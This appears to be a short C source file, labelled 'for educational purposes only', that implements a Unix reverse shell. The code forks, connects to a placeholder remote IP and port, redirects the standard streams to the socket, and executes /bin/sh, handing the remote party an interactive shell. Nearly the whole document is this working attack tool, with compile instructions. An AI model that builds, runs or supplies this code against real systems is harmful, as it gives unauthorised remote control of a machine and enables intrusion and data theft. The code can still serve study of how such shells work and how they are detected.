Simple Unix reverse shell. For educational purposes only!

unix-reverse-shell.c

/* 
 * Simple Unix reverse shell. For educational purposes only!
 *
 * Compile with:
 *   $ gcc unix-reverse-shell.c -o shell
 */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "<IP>"
#define REMOTE_PORT <PORT>

int main(int argc, char *argv[])
{
    pid_t pid;
    int s, err;
    struct sockaddr_in sa;

    pid = fork();

    if( pid == 0 ) {
        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
        sa.sin_port = htons(REMOTE_PORT);

        s = socket(AF_INET, SOCK_STREAM, 0);
        err = connect(s, (struct sockaddr *)&sa, sizeof(sa));
        if( err != 0 ) {
            printf("[-] connect failed with error code: %d\n", err);
        }

        dup2(s, 0);
        dup2(s, 1);
        dup2(s, 2);

        err = execve("/bin/sh", 0, 0);
        printf("[-] execve failed with error code: %d\b", err);

    } else if( pid > 0 ) {
        printf("[+] Process started with PID: %d\n", pid);

    } else {
        printf("[+] fork failed with error code: %d\n", pid);
    }
}